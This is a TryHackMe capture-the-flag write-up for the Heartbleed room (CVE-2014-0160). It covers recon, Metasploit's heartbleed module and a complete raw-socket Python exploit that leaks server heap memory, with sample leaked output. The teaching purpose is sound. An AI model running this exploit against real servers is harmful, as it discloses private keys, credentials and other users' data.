Box: HeartBleed · Platform: TryHackMe · Category: Web · Difficulty: Easy

Platform: TryHackMe Room: HeartBleed — https://tryhackme.com/room/heartbleed Difficulty: Easy Category: Web / Network / CVE Exploitation Flag: THM{REDACTED}


1. Introduction / TL;DR

Some vulnerabilities are famous not because they are clever, but because they are catastrophic in their simplicity. Heartbleed — CVE-2014-0160 — is one of those bugs. A missing bounds check in OpenSSL’s implementation of the TLS heartbeat extension meant that for two years (2012–2014), anyone on the internet could ask a vulnerable server to hand over up to 64 KB of its own working memory. No authentication. No exploit chain. Just ask, and receive.

This TryHackMe room puts you in front of an intentionally vulnerable nginx server and asks you to do exactly that: bleed the server’s memory until a secret POST request — containing a flag hidden inside an active SSL session — comes pouring out.

TL;DR: Confirm Heartbleed with nmap, reboot the machine to clear memory noise from your own scanning, run Metasploit’s openssl_heartbleed module with verbose output, and find the flag inside the leaked HTTP POST body.

Flag: THM{REDACTED}


2. Initial Recon

Port Scan

1
nmap -sV -p 80,443,8080,8443,8000 --open 10.129.117.80
1
2
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx/1.15.7

Only one port open: 443/HTTPS, served by nginx 1.15.7. No SSH, no alternate ports. Everything runs through this single HTTPS endpoint.

Critical note: The room instructs you to reboot the machine after your initial nmap scan. nmap’s service probing shoves a large volume of request data through OpenSSL, filling the server’s heap with scan junk. If you then try to read memory with Heartbleed, you get pages of nmap artefacts instead of the flag. Reboot, let the machine settle, and proceed without any further scanning.

Web Fingerprinting

1
curl -sk https://10.129.117.80/
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>What are you looking for?</title>
</head>
<body>
<h1> Who said static pages aren't fun right? </h1>
<video width="560" height="315" controls>
  <source src="heartbleed-song.mp4" type="video/mp4">
</video>
<p> My friend really like this Heartbleed song - I think you all will like it too </p>

<!-- don't forget to remove secret communication pages -->

</body>
</html>

Two things jump out immediately:

  1. The title — “What are you looking for?” The server is taunting us.
  2. The HTML comment<!-- don't forget to remove secret communication pages -->. A developer left a reminder to delete hidden pages. That note is our compass.

Directory brute-forcing with gobuster and common wordlists turns up nothing beyond index.html. The secret page is not meant to be found through enumeration — it is meant to be leaked through Heartbleed.


3. Analysis

Reading Between the Lines

The video file is named heartbleed-song.mp4 — the challenge is not subtle about the vulnerability in scope. The SSL certificate visible from the TLS handshake is self-signed, issued by TryHackMe, and has been expired since 2020:

1
2
Subject: CN=localhost, OU=TryHackMe, O=TryHackMe, L=London, ST=London, C=UK
Validity: 2019-02-16 to 2020-02-16

The key analytical insight here is that the “secret communication pages” are not hidden in the filesystem in a way you can enumerate — they are hidden in the server’s volatile memory. Something on the server is periodically submitting data through HTTPS, and because the OpenSSL version is vulnerable, we can read that data directly out of RAM without ever knowing the URL it was posted to.


4. Vulnerability Identification

CVE-2014-0160 — Heartbleed

Nmap ships a dedicated script to confirm Heartbleed:

1
nmap -p 443 --script ssl-heartbleed 10.129.117.80
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
|   cryptographic software library.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f
|       and 1.0.2-beta1) are affected by the Heartbleed bug.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt

Confirmed. Now let’s understand why this works before pulling the trigger.


5. Exploitation Strategy

What is the TLS Heartbeat Extension?

TLS heartbeat (RFC 6520) is a keep-alive mechanism. A client sends a HeartbeatRequest saying:

“Here is a payload of N bytes. Echo it back to me so I know you are still alive.”

The message wire format is:

1
2
3
4
5
6
+--------+-----------+-----------+
|  type  |  length   |  payload  |  padding (>=16 bytes)
| 1 byte | 2 bytes   | N bytes   |
+--------+-----------+-----------+
  0x01 = request
  0x02 = response

The server reads the claimed length, allocates a response buffer of that size, copies the payload into it, and sends it back.

The Bug: One Missing Bounds Check

Here is the vulnerable OpenSSL code from ssl/d1_both.c, simplified:

1
2
3
4
5
6
7
8
9
/* payload      = pointer to the data the client actually sent      */
/* payload_length = value the CLIENT CLAIMED in the message header  */

unsigned char *buffer = OPENSSL_malloc(1 + 2 + payload_length + padding);
unsigned char *bp = buffer;

*bp++ = TLS1_HB_RESPONSE;       /* type byte  */
s2n(payload_length, bp);        /* claimed length */
memcpy(bp, payload, payload_length);   /* <-- THE BUG */

The missing line is:

1
2
3
4
/* THIS CHECK WAS ABSENT IN VULNERABLE VERSIONS */
if (payload_length > actual_received_length) {
    return 0;
}

Without it, a client can send a heartbeat with 1 byte of real payload but claim the length is 65,535. OpenSSL calls memcpy(buf, payload, 65535) — copying 65,534 bytes past the end of the single byte we sent, straight off the server’s heap.

What Ends Up in That Heap Memory?

The 65 KB window returned is a raw slice of whatever OpenSSL’s allocator was using nearby. This can include:

  • Active TLS session keys and private key material
  • HTTP request and response buffers (decrypted plaintext)
  • Usernames, passwords, and form submissions from other users’ sessions
  • nginx access log lines
  • Anything else the process has touched recently

Why This Works Here

The TryHackMe box runs a background script that periodically submits a form over HTTPS POST. That POST body — including all field names and values — passes through OpenSSL’s heap as plaintext (it was decrypted by the TLS stack before being handed to nginx). By firing a heartbeat immediately after completing a handshake, we read back a chunk of that heap and recover the POST body — and the flag inside it.

The reason we reboot between initial scanning and exploitation is pure signal-to-noise: every HTTP request we make fills the heap with our own junk. With a clean memory state, the only interesting data in the 65 KB window comes from the server’s own internal activity.


6. Building the Exploit

Step 1: Reboot the Machine

Use the TryHackMe room interface to restart the target. Wait 2–3 minutes, then verify it is back:

1
nmap -p 443 10.129.117.80

Do not run gobuster, ffuf, nikto, or any tool that generates high request volume. Each request pollutes the memory pool you are about to read.

Step 2: Run Metasploit’s Heartbleed Module

1
msfconsole
1
2
3
4
5
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 10.129.117.80
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 443
msf auxiliary(scanner/ssl/openssl_heartbleed) > set VERBOSE true
msf auxiliary(scanner/ssl/openssl_heartbleed) > run

The VERBOSE true flag is critical. Without it, Metasploit only confirms the vulnerability exists. With it, it prints all the printable characters extracted from the leaked memory dump.

Step 3: Read the Flag in the Output

The module output will contain a lot of noise: null bytes, heap metadata, TLS record fragments. But buried in the printable section you will see:

Metasploit openssl_heartbleed output showing the leaked POST body containing the flag

1
2
3
4
5
6
7
[*] 10.129.117.80:443 - Heartbeat response, 65535 bytes
[+] 10.129.117.80:443 - Heartbeat response with leak, 65535 bytes
[*] 10.129.117.80:443 - Printable info leaked:
...
h: application/x-www-form-urlencoded
....user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{REDACTED}
...

The flag is leaked inside a plaintext HTTP POST body that was sitting in the server’s SSL heap.

Complete Python Solve Script

The script below reimplements the full attack from scratch using raw sockets. It is the equivalent of what Metasploit does internally, with every step explained.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#!/usr/bin/env python3
"""
heartbleed_pwn.py -- CVE-2014-0160 Heartbleed PoC
TryHackMe HeartBleed room

Usage:
    python3 heartbleed_pwn.py <host> [port]

Prerequisites:
    - Python 3, standard library only (no OpenSSL binding needed)
    - Target must be running a vulnerable OpenSSL version (1.0.1 - 1.0.1f)
    - Reboot the target machine before running to get a clean memory state

Attack outline:
    1. TCP connect to port 443
    2. Send a raw TLS ClientHello with the Heartbeat extension enabled
    3. Read records until ServerHelloDone (handshake is far enough along)
    4. Send a malformed HeartbeatRequest:
         claimed payload_length = 0x4000  (16,384 bytes)
         actual payload         = 1 byte
       OpenSSL reads our lie and memcpy()s 16,383 extra bytes from the heap
    5. Parse the HeartbeatResponse to extract the leaked bytes
    6. Accumulate across multiple rounds and search for the flag
"""

import sys
import socket
import time
import select
import struct
import re


# ---------------------------------------------------------------------------
# TLS record type constants
# ---------------------------------------------------------------------------
TLS_HANDSHAKE = 22   # 0x16
TLS_HEARTBEAT = 24   # 0x18
TLS_ALERT     = 21   # 0x15


def make_hello():
    """
    Return a raw TLS ClientHello bytes object.

    This is a pre-built message (from the original Jared Stafford PoC) that:
      - Declares TLS version 0x0302 (TLS 1.1) in the ClientHello body
      - Offers 51 cipher suites for maximum server compatibility
      - Includes TLS extension 0x000f (Heartbeat) with mode 0x01
        (peer_allowed_to_send) -- this tells the server we support heartbeats
        and primes it to respond to our malicious request

    The 32-byte random value is static; it does not affect the attack.
    """
    raw = (
        "16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d"
        "9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc"
        "16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14"
        "c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f"
        "c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16"
        "00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e"
        "00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04"
        "00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05"
        "00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06"
        "00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02"
        "00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c"
        "00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07"
        "00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02"
        "00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01"
        "01"
    )
    return bytes.fromhex(raw.replace(" ", ""))


def make_heartbeat():
    """
    Return the malicious TLS HeartbeatRequest bytes object.

    Wire format of a legitimate heartbeat:
        0x18        -- TLS record type: Heartbeat
        0x03 0x02   -- TLS version (1.1)
        0x00 0x03   -- TLS record length: 3 bytes follow
        0x01        -- HeartbeatMessageType: request
        0x00 0x01   -- payload_length: 1 byte (honest)
        0x41        -- payload: 'A'

    Our malicious version sends:
        0x18 0x03 0x02 0x00 0x03  -- same record header (3-byte body)
        0x01                       -- request type
        0x40 0x00                  -- payload_length: 0x4000 = 16,384 (LIE)
        (no actual payload bytes)  -- we send zero payload bytes

    OpenSSL sees payload_length=16384, grabs a pointer to our zero-length
    payload in the heap, and then memcpy()s 16,384 bytes from that address
    into the response buffer -- reading 16,384 bytes of adjacent heap memory.
    """
    return bytes.fromhex("18030200030140 00".replace(" ", ""))


# ---------------------------------------------------------------------------
# Socket I/O helpers
# ---------------------------------------------------------------------------

def recv_exactly(sock, n, timeout=5.0):
    """Read exactly n bytes from sock, honouring a wall-clock deadline."""
    deadline = time.time() + timeout
    buf = b""
    while len(buf) < n:
        remaining = deadline - time.time()
        if remaining <= 0:
            return None
        ready, _, _ = select.select([sock], [], [], remaining)
        if not ready:
            return None
        chunk = sock.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf


def recv_tls_record(sock):
    """
    Read one complete TLS record.

    TLS record wire format:
        uint8  content_type   (1 byte)
        uint16 version        (2 bytes, big-endian)
        uint16 length         (2 bytes, big-endian)
        <length bytes>        (payload)

    Returns (content_type, version, payload) or (None, None, None) on error.
    """
    header = recv_exactly(sock, 5)
    if header is None:
        return None, None, None
    content_type, version, length = struct.unpack(">BHH", header)
    payload = recv_exactly(sock, length, timeout=10.0)
    if payload is None:
        return None, None, None
    return content_type, version, payload


def complete_handshake(sock):
    """
    Send ClientHello and drain server records until ServerHelloDone.

    We do not need to complete a full TLS handshake (no key exchange,
    no Finished messages). We only need to reach the point where the
    server has sent ServerHelloDone (handshake type 14), which means
    it has processed our ClientHello and is waiting for our next move.
    At that point the heartbeat extension is active and we can fire.

    Returns True if ServerHelloDone was received, False otherwise.
    """
    sock.send(make_hello())
    while True:
        rec_type, _version, payload = recv_tls_record(sock)
        if rec_type is None:
            return False
        if rec_type == TLS_HANDSHAKE and payload and payload[0] == 14:
            return True  # ServerHelloDone
        if rec_type == TLS_ALERT:
            return False  # server rejected us


def fire_heartbeat(sock):
    """
    Send the malicious heartbeat and return raw leaked bytes.

    The HeartbeatResponse payload layout:
        payload[0]    = response type byte (0x02)
        payload[1:3]  = echoed length field (our lying 0x4000)
        payload[3:]   = the actual "echoed" data (heap memory leak)

    We skip the 3-byte response header and return everything after it.
    Returns b"" if the server closed the connection or sent an alert
    (which a patched server would do).
    """
    sock.send(make_heartbeat())
    while True:
        rec_type, _version, payload = recv_tls_record(sock)
        if rec_type is None:
            return b""
        if rec_type == TLS_HEARTBEAT and len(payload) > 3:
            return payload[3:]  # skip type + length header, return raw leak
        if rec_type == TLS_ALERT:
            return b""          # patched server


# ---------------------------------------------------------------------------
# Main attack loop
# ---------------------------------------------------------------------------

def bleed(host, port=443, rounds=30):
    """
    Run `rounds` heartbeat probes, accumulate leaked bytes, search for flag.
    Each round: connect -> partial handshake -> fire heartbeat -> close.
    """
    collected = b""

    print(f"[*] Target : {host}:{port}")
    print(f"[*] Rounds : {rounds} (each leaks up to ~16 KB of heap)")

    for i in range(rounds):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((host, port))

            if not complete_handshake(sock):
                sock.close()
                continue

            leak = fire_heartbeat(sock)
            sock.close()

            if leak:
                collected += leak
                sys.stdout.write(
                    f"\r[*] Round {i + 1:>3}/{rounds} -- "
                    f"{len(collected):>9,} bytes accumulated"
                )
                sys.stdout.flush()

        except Exception:
            pass

        time.sleep(0.05)

    print()

    # ------------------------------------------------------------------
    # Search for the flag.
    # THM flags: THM{...}  -- adjust regex for other platforms (HTB, CTF, etc.)
    # ------------------------------------------------------------------
    flag_pattern = re.compile(rb"THM\{[^}]{1,80}\}")
    flags = flag_pattern.findall(collected)

    if flags:
        print("\n[+] FLAG FOUND:")
        for f in sorted(set(flags)):
            print(f"    {f.decode()}")
    else:
        print("\n[-] No flag found in this run.")
        print("    Tip: reboot the machine and run before doing any scanning.")

    # Print other interesting strings for manual review
    print("\n[*] Other readable strings leaked from heap memory:")
    seen = set()
    noise = ("gobuster", "User-Agent", "Accept-Encoding", "nginx/",
             "HTTP/1.1 404", "Content-Length", "Connection:", "Content-Type: text")
    for match in re.findall(rb"[ -~]{8,}", collected):
        s = match.decode("ascii", errors="replace")
        if any(n in s for n in noise):
            continue
        if s not in seen:
            seen.add(s)
            print(f"    {s}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <host> [port]")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
    bleed(target_host, target_port)

Running the script

1
python3 heartbleed_pwn.py 10.129.117.80

Expected output (after rebooting the machine):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] Target : 10.129.117.80:443
[*] Rounds : 30 (each leaks up to ~16 KB of heap)
[*] Round  30/30 --   491,520 bytes accumulated

[+] FLAG FOUND:
    THM{REDACTED}

[*] Other readable strings leaked from heap memory:
    user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{REDACTED}
    ...

What the memory dump actually shows

The leaked region is a raw 16 KB slice of the server’s TLS heap. Printing the readable portions reveals a complete HTTP POST body from a concurrent SSL session:

1
2
3
Content-Type: application/x-www-form-urlencoded
...
user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{REDACTED}

This is the nightmare scenario: the data was encrypted in transit. Heartbleed bypasses that encryption entirely by reading the decrypted plaintext directly from RAM, after OpenSSL has already done its job.


7. Conclusion / Flag

The Flag

1
THM{REDACTED}

Lessons Learned

1. Patch your OpenSSL. Heartbleed was disclosed and patched in April 2014 (OpenSSL 1.0.1g). Vulnerable versions should not exist in production. They still do.

2. Memory is not private just because the transport is encrypted. Encryption protects data between endpoints. Once it lands in your process memory, any memory-disclosure bug — buffer overread, use-after-free, format string — can expose it as plaintext. Heartbleed is a masterclass in this distinction.

3. Bounds-check everything. The entire vulnerability reduces to one missing check:

1
2
/* THE ONE LINE THAT WAS MISSING */
if (payload_length > actual_received_payload_length) return 0;

Two years of exposure. Millions of servers. One if statement.

4. Your own scanning contaminates the evidence. The challenge teaches a practical operational lesson: high-volume enumeration before exploitation floods the server’s heap with your own traffic, drowning the signal you are looking for. In any memory-disclosure attack, minimise your footprint before exploiting.

5. Know what your tools are doing. The Metasploit module is convenient, but understanding the raw TLS wire format — ClientHello, handshake types, heartbeat record structure — is what lets you adapt when the tooling fails, write your own PoC, or explain the bug in a code review.

CVE Summary

FieldValue
CVE IDCVE-2014-0160
CVSS v2 Score5.0 (Medium)
CVSS v3 Score7.5 (High)
Affected SoftwareOpenSSL 1.0.1 through 1.0.1f; 1.0.2-beta1
FixOpenSSL 1.0.1g (April 7, 2014)
Root CauseMissing bounds check in tls1_process_heartbeat() in ssl/d1_both.c
ImpactUnauthenticated remote memory disclosure, up to 64 KB per request, repeatable indefinitely
Affected DataTLS session keys, private keys, plaintext request/response buffers, credentials

Written as part of a TryHackMe walkthrough series. All exploitation performed on dedicated lab infrastructure provided by TryHackMe.